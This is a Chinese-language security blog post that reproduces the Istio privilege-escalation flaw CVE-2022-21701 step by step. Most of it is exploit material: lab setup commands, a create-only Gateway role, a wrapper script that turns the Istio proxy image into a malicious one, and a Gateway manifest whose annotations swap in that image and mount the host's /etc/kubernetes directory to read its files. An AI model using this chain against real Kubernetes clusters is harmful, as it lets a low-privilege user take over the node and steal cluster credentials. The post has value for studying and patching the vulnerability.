利用gateway-api,我支配了kubernetes | 高级攻防05
前几天注意到了Istio官方公告,有一个利用kubernetes gateway api仅有CREATE权限来完成特权提升的漏洞(CVE-2022-21701)。
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
name: istio-sidecar-injector
webhooks:
[...]
namespaceSelector:
matchExpressions:
- key: istio-injection
operator: In
values:
- enabled
objectSelector:
matchExpressions:
- key: sidecar.istio.io/inject
operator: NotIn
values:
- "false"
[...]
rules:
- apiGroups:
- ""
apiVersions:
- v1
operations:
- CREATE
resources:
- pods
scope: '*'
sideEffects: None
timeoutSeconds: 10
injectRequired (pkg/kube/inject/inject.go:169)
RunTemplate (pkg/kube/inject/inject.go:283)
func selectTemplates(params InjectionParameters) []string {
// annotation.InjectTemplates.Name = inject.istio.io/templates
if a, f := params.pod.Annotations[annotation.InjectTemplates.Name]; f {
names := []string{}
for _, tmplName := range strings.Split(a, ",") {
name := strings.TrimSpace(tmplName)
names = append(names, name)
}
return resolveAliases(params, names)
}
return resolveAliases(params, params.defaultTemplate)
}
使用go template模块来完成yaml文件的渲染:
func parseTemplate(tmplStr string, funcMap map[string]interface{}, data SidecarTemplateData) (bytes.Buffer, error) {
var tmpl bytes.Buffer
temp := template.New("inject")
t, err := temp.Funcs(sprig.TxtFuncMap()).Funcs(funcMap).Parse(tmplStr)
if err != nil {
log.Infof("Failed to parse template: %v %v\n", err, tmplStr)
return bytes.Buffer{}, err
}
if err := t.Execute(&tmpl, &data); err != nil {
log.Infof("Invalid template: %v %v\n", err, tmplStr)
return bytes.Buffer{}, err
}
return tmpl, nil
}
kubectl describe cm -n istio-system istio-sidecar-injector
sidecar.istio.io/proxyImage
sidecar.istio.io/userVolume
sidecar.istio.io/userVolumeMount
PILOT_ENABLE_GATEWAY_API_DEPLOYMENT_CONTROLLER
gateways.gateway.networking.k8s.io
gateways.gateway.networking.k8s.io
pilot/pkg/config/kube/gateway/deploymentcontroller.go
pilot/pkg/config/kube/gateway/templates/deployment.yaml
strdict "inject.istio.io/templates" "gateway"
apiVersion: apps/v1
kind: Deployment
metadata:
annotations:
toYamlMap .Annotations | nindent 4 }}
labels:
toYamlMap .Labels
"gateway.istio.io/managed" "istio.io-gateway-controller")
nindent 4}}
name: {{.Name}}
namespace: {{.Namespace}}
ownerReferences:
apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
name: {{.Name}}
uid: {{.UID}}
spec:
selector:
matchLabels:
{{.Name}} :
template:
metadata:
annotations:
toYamlMap
"inject.istio.io/templates" "gateway")
.Annotations
nindent 8}}
labels:
toYamlMap
"sidecar.istio.io/inject" "true")
"istio.io/gateway-name" .Name)
.Labels
nindent 8}}
istio v1.12.2
kubernetes v1.20.14
kubernetes gateway-api v0.4.0
curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.2 TARGET_ARCH=x86_64 sh -
istioctl x precheck
istioctl install --set profile=demo -y
kubectl create namespace istio-ingress
kubectl create -f - << EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: gateways-only-create
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gateways"]
verbs: ["create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-gateways-only-create
subjects:
- kind: User
name: test
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: gateways-only-create
apiGroup: rbac.authorization.k8s.io
EOF
docker run -it --entrypoint /bin/sh istio/proxyv2:1.12.1
cp /usr/local/bin/pilot-agent /usr/local/bin/pilot-agent-orig
cat << EOF > /usr/local/bin/pilot-agent
echo $1
if [ $1 != "istio-iptables" ]
then
touch /tmp/test/pwned
ls -lha /tmp/test/*
cat /tmp/test/*
fi
/usr/local/bin/pilot-agent-orig $*
EOF
chmod +x /usr/local/bin/pilot-agent
exit
docker tag 0e87xxxxcc5c xxxx/proxyv2:malicious
inject.istio.io/templates
inject.istio.io/templates
kubectl --as test create -f - << EOF
apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
metadata:
name: gateway
namespace: istio-ingress
annotations:
inject.istio.io/templates: sidecar
sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
spec:
gatewayClassName: istio
listeners:
- name: default
hostname: "*.example.com"
port: 80
protocol: HTTP
allowedRoutes:
namespaces:
from: All
EOF
apiVersion: apps/v1
kind: Deployment
metadata:
annotations:
deployment.kubernetes.io/revision: "1"
inject.istio.io/templates: sidecar
[...]
sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
generation: 1
labels:
gateway.istio.io/managed: istio.io-gateway-controller
name: gateway
namespace: istio-ingress
spec:
progressDeadlineSeconds: 600
replicas: 1
revisionHistoryLimit: 10
selector:
matchLabels:
istio.io/gateway-name: gateway
strategy:
rollingUpdate:
maxSurge: 25%
maxUnavailable: 25%
type: RollingUpdate
template:
metadata:
annotations:
inject.istio.io/templates: sidecar
[...]
sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
creationTimestamp: null
labels:
istio.io/gateway-name: gateway
sidecar.istio.io/inject: "true"
spec:
containers:
- image: auto
imagePullPolicy: Always
name: istio-proxy
ports:
- containerPort: 15021
name: status-port
protocol: TCP
readinessProbe:
failureThreshold: 10
httpGet:
path: /healthz/ready
port: 15021
scheme: HTTP
periodSeconds: 2
successThreshold: 1
timeoutSeconds: 2
resources: {}
securityContext:
allowPrivilegeEscalation: true
capabilities:
add:
- NET_BIND_SERVICE
drop:
- ALL
readOnlyRootFilesystem: true
runAsGroup: 1337
runAsNonRoot: false
runAsUser: 0
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
terminationGracePeriodSeconds: 30
https://gateway-api.sigs.k8s.io/
https://istio.io/latest/docs/reference/config/annotations/
https://istio.io/latest/news/security/istio-security-2022-002/
https://istio.io/latest/docs/tasks/traffic-management/ingress/gateway-api/
Fake dnSpy - 这鸡汤里下了毒!
ADCS攻击面挖掘与利用
安全认证相关漏洞挖掘